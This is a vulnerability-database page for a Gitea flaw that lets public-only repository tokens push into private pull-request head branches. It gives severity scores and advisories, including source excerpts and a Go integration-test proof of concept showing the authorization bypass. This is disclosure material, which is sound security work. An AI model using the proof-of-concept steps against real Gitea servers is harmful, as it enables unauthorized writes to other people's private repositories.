CVE-2026-58443

criticalpriority · track · 0OT risk · elevatedEPSS 0.006 · 47 %ileDEEURUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.58% (47th) EPSS
CVSS 9.1 · critical
Is it mine?
9 products
Check your exposure
Who says so?
4 sources
enisa_euvd · fstec_bdu · osv · cert_bund

EPSS · scored 2026-10-26

Public-only repository tokens can update private PR head branches

01

cvss

Technical severity, 0–10. One row per scoring source.

9.6
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 8.3–9.6

v3.19.1criticalAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:Hsecondary · FSTEC (BDU) RU
v3.19.1criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:Hsecondary · ENISA EU
v3.19.1criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:Hsecondaryexploitability 3.9 · impact 5.2
v3.19.6criticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:Hsecondary · OSV
v3.18.3highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (9)

Products and version ranges known to be affected.

05

advisories (3)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-2304Gitea: Mehrere SchwachstellenDeutsch2026-07-13csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in Gitea ausnutzen, um beliebigen Programmcode auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, sensible Informationen offenzulegen, Sitzungen zu übernehmen oder wiederzuverwenden oder einen Denial-of-Service-Zustand auszulösen.

  • GHSA-xxjv-752h-3vp2Gitea: Public-only repository tokens can update private PR head branches2026-07-21ghsa · osvUS

    ### Summary Gitea allows a `public-only,write:repository` token to update a private pull request head branch through a public base repository route. The vulnerable endpoint is: ```text POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update ``` Gitea checks the token's public-only restriction against the route repository, which is the public base repository. `UpdatePullRequest()` then authorizes the pull request head repository with ordinary user RBAC and calls the pull update service. If the head repository is private, the active token's public-only restriction is not re-applied to that private repository before Gitea pushes changes into it. As a result, the same token that cannot directly write to the private repository can still cause Gitea to push public base commits into the private head branch. ### Details The pull request API routes are attached under a repository route group. The public-only check applies to `ctx.Repo.Repository`, the route/base repository. ```go // routers/api/v1/api.go:1358-1394 m.Group("/pulls", func() { m.Combo("").Get(repo.ListPullRequests). Post(reqToken(), mustNotBeArchived, bind(api.CreatePullRequestOption{}), repo.CreatePullRequest) m.Get("/pinned", repo.ListPinnedPullRequests) m.Post("/comments/{id}/resolve", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment) m.Post("/comments/{id}/unresolve", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment) m.Group("/{index}", func() { m.Combo("").Get(repo.GetPullRequest). Patch(reqToken(), bind(api.EditPullRequestOption{}), repo.EditPullRequest) m.Get(".{diffType:diff|patch}", repo.DownloadPullDiffOrPatch) m.Post("/update", reqToken(), repo.UpdatePullRequest) m.Get("/commits", repo.GetPullRequestCommits) m.Get("/files", repo.GetPullRequestFiles) m.Combo("/merge").Get(repo.IsPullRequestMerged). Post(reqToken(), mustNotBeArchived, bind(forms.MergePullRequestForm{}), repo.MergePullRequest). Delete(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge) m.Group("/reviews", func() { m.Combo(""). Get(repo.ListPullReviews). Post(reqToken(), bind(api.CreatePullReviewOptions{}), repo.CreatePullReview) m.Group("/{id}", func() { m.Combo(""). Get(repo.GetPullReview). Delete(reqToken(), repo.DeletePullReview). Post(reqToken(), bind(api.SubmitPullReviewOptions{}), repo.SubmitPullReview) m.Combo("/comments"). Get(repo.GetPullReviewComments) m.Post("/dismissals", reqToken(), bind(api.DismissPullReviewOptions{}), repo.DismissPullReview) m.Post("/undismissals", repo.UnDismissPullReview) }) }) m.Combo("/requested_reviewers", reqToken()). Delete(bind(api.PullReviewRequestOptions{}), repo.DeleteReviewRequests). Post(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests) }) m.Get("/{base}/*", repo.GetPullRequestByBaseHead) }, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo()) ``` ```go // routers/api/v1/api.go:1465-1466 }, repoAssignment(), checkTokenPublicOnly()) }, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository)) ``` For `POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update`, the route repository can be public, so a `public-only,write:repository` token passes the route-level public-only check. The update handler then checks whether the caller can update the PR head branch: ```go // routers/api/v1/repo/pull.go:1220-1270 pr, err := issues_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64("index")) if err != nil { if issues_model.IsErrPullRequestNotExist(err) { ctx.APIErrorNotFound() } else { ctx.APIErrorInternal(err) } return } if pr.HasMerged { ctx.APIError(http.StatusUnprocessableEntity, err) return } if err = pr.LoadIssue(ctx); err != nil { ctx.APIErrorInternal(err) return } if pr.Issue.IsClosed { ctx.APIError(http.StatusUnprocessableEntity, err) return } if err = pr.LoadBaseRepo(ctx); err != nil { ctx.APIErrorInternal(err) return } if err = pr.LoadHeadRepo(ctx); err != nil { ctx.APIErrorInternal(err) return } rebase := ctx.FormString("style") == "rebase" allowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer) if err != nil { ctx.APIErrorInternal(err) return } if (!allowedUpdateByMerge && !rebase) || (rebase && !allowedUpdateByRebase) { ctx.Status(http.StatusForbidden) return } // default merge commit message message := fmt.Sprintf("Merge branch '%s' into %s", pr.BaseBranch, pr.HeadBranch) ``` The service checks the head repository using the user's normal repository permission: ```go // services/pull/update.go:136-164 // IsUserAllowedToUpdate check if user is allowed to update PR with given permissions and branch protections // update PR means send new commits to PR head branch from base branch func IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) { if user == nil { return false, false, nil } if err := pull.LoadBaseRepo(ctx); err != nil { return false, false, err } if err := pull.LoadHeadRepo(ctx); err != nil { return false, false, err } // 1. check whether pull request enabled. prBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests) if repo_model.IsErrUnitTypeNotExist(err) { return false, false, nil // the PR unit is disabled in base repo means no update allowed } else if err != nil { return false, false, fmt.Errorf("get base repo unit: %v", err) } // 2. only support Github style pull request if pull.Flow == issues_model.PullRequestFlowAGit { return false, false, nil } // 3. check user push permission on head repository pushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch) if err != nil { return false, false, err } ``` That is an ordinary account RBAC decision. It does not ask whether the active API token is allowed to access or mutate `pull.HeadRepo`. If allowed, the update service performs a merge/rebase update and pushes into the head repository: ```go // services/pull/update.go:89-100 reversePR := &issues_model.PullRequest{ BaseRepoID: pr.HeadRepoID, BaseRepo: pr.HeadRepo, BaseBranch: pr.HeadBranch, HeadRepoID: pr.BaseRepoID, HeadRepo: pr.BaseRepo, HeadBranch: pr.BaseBranch, } _, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, "", message, repository.PushTriggerPRUpdateWithBase) return err ``` The result is a server-side private repository write performed through a public route. ### PoC ```go import ( "encoding/base64" "fmt" "net/http" "net/url" "testing" "time" actions_model "code.gitea.io/gitea/models/actions" auth_model "code.gitea.io/gitea/models/auth" repo_model "code.gitea.io/gitea/models/repo" unit_model "code.gitea.io/gitea/models/unit" "code.gitea.io/gitea/models/unittest" user_model "code.gitea.io/gitea/models/user" "code.gitea.io/gitea/modules/gitrepo" api "code.gitea.io/gitea/modules/structs" webhook_module "code.gitea.io/gitea/modules/webhook" repo_service "code.gitea.io/gitea/services/repository" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) { onGiteaRun(t, func(t *testing.T, _ *url.URL) { doer := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user1"}) baseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{ Name: "public-pr-update-base", Description: "public base repository for public-only PR update PoC", AutoInit: true, Readme: "Default", DefaultBranch: "main", IsPrivate: false, }) require.NoError(t, err) headRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{ BaseRepo: baseRepo, Name: "private-pr-update-head", Description: "private head repository for public-only PR update PoC", SingleBranch: baseRepo.DefaultBranch, }) require.NoError(t, err) require.NotNil(t, headRepo) require.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{ RepoID: headRepo.ID, Type: unit_model.TypeActions, }}, nil)) headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID}) headBranch := "private-head-update" testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{ OldBranch: baseRepo.DefaultBranch, NewBranch: headBranch, }, map[string]string{ "private-head-marker.txt": "private head branch marker", }) const workflowID = "private-push.yml" const workflowSentinel = "FAULTLINE_POC_062_PRIVATE_ACTION" testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{ OldBranch: headBranch, NewBranch: headBranch, }, map[string]string{ ".gitea/workflows/" + workflowID: fmt.Sprintf(`name: private-push on: push: branches: - %s jobs: private-head-job: runs-on: ubuntu-latest steps: - run: echo %s `, headBranch, workflowSentinel), }) require.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{ ID: headRepo.ID, IsPrivate: true, }, "is_private")) headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID}) require.True(t, headRepo.IsPrivate) baselinePrivateHeadRuns := unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) session := loginUser(t, doer.Name) publicOnlyToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteRepository, ) publicPath := "public-base-injected-into-private.txt" publicMarker := "FAULT-GITEA-062 public base content reached private head" createPublicBaseFile := api.CreateFileOptions{ FileOptions: api.FileOptions{ BranchName: baseRepo.DefaultBranch, Message: "create public marker for private head update", }, ContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)), } req := NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", baseRepo.FullName(), publicPath), &createPublicBaseFile). AddTokenAuth(publicOnlyToken) MakeRequest(t, req, http.StatusCreated) privatePath := "direct-private-write-should-fail.txt" directPrivateWrite := api.CreateFileOptions{ FileOptions: api.FileOptions{ BranchName: headBranch, Message: "direct private write attempt", }, ContentBase64: base64.StdEncoding.EncodeToString([]byte("direct private write marker")), } req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", headRepo.FullName(), privatePath), &directPrivateWrite). AddTokenAuth(publicOnlyToken) MakeRequest(t, req, http.StatusNotFound) prPayload := map[string]string{ "title": "faultline public-only private head update", "base": baseRepo.DefaultBranch, "head": fmt.Sprintf("%s/%s:%s", doer.Name, headRepo.Name, headBranch), } req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/pulls", baseRepo.FullName()), prPayload). AddTokenAuth(publicOnlyToken) resp := MakeRequest(t, req, http.StatusCreated) var pr api.PullRequest DecodeJSON(t, resp, &pr) require.Equal(t, prPayload["title"], pr.Title) gitRepo, err := gitrepo.OpenRepository(t.Context(), headRepo) require.NoError(t, err) defer gitRepo.Close() commit, err := gitRepo.GetBranchCommit(headBranch) require.NoError(t, err) _, err = commit.GetBlobByPath(publicPath) require.Error(t, err) req = NewRequestf(t, "POST", "/api/v1/repos/%s/pulls/%d/update?style=merge", baseRepo.FullName(), pr.Index). AddTokenAuth(publicOnlyToken) MakeRequest(t, req, http.StatusOK) assert.Eventually(t, func() bool { return unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) > baselinePrivateHeadRuns }, 5*time.Second, 50*time.Millisecond) actionRun := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRun{ RepoID: headRepo.ID, WorkflowID: workflowID, }, unittest.OrderBy("id DESC")) assert.Equal(t, webhook_module.HookEventPush, actionRun.Event) assert.Equal(t, "push", actionRun.TriggerEvent) assert.Equal(t, doer.ID, actionRun.TriggerUserID) assert.NotEmpty(t, actionRun.CommitSHA) job := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRunJob{RunID: actionRun.ID}) assert.Contains(t, string(job.WorkflowPayload), workflowSentinel) commit, err = gitRepo.GetBranchCommit(headBranch) require.NoError(t, err) blob, err := commit.GetBlobByPath(publicPath) require.NoError(t, err) content, err := blob.GetBlobContent(1024) require.NoError(t, err) assert.Equal(t, publicMarker, content) }) } ``` ### Impact The attacker needs a valid `public-only,write:repository` token for a user who has normal write permission to the private PR head branch. The attacker also needs a public base repository and a pull request relationship where the public base can be merged or rebased into the private head. Successful exploitation gives a private repository write primitive through a token that is explicitly limited to public repositories. The direct impact is integrity: public base commits are pushed into a private branch even though direct private repository writes are rejected for the same token. When Actions is enabled on the private head repository, the same server-side push also queues the private repository's matching `push` workflow. The PoC confirms an `ActionRun` and `ActionRunJob` are created for the private head repository with the attack-triggered push event.

  • GO-2026-6086Gitea: Public-only repository tokens can update private PR head branches in gitea.dev2026-07-27vendor · osvUS

    Gitea: Public-only repository tokens can update private PR head branches in gitea.dev

06

also known as (6)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-08-13modified 2026-10-02
08

references (6)

External citations — patches, advisories, analysis.

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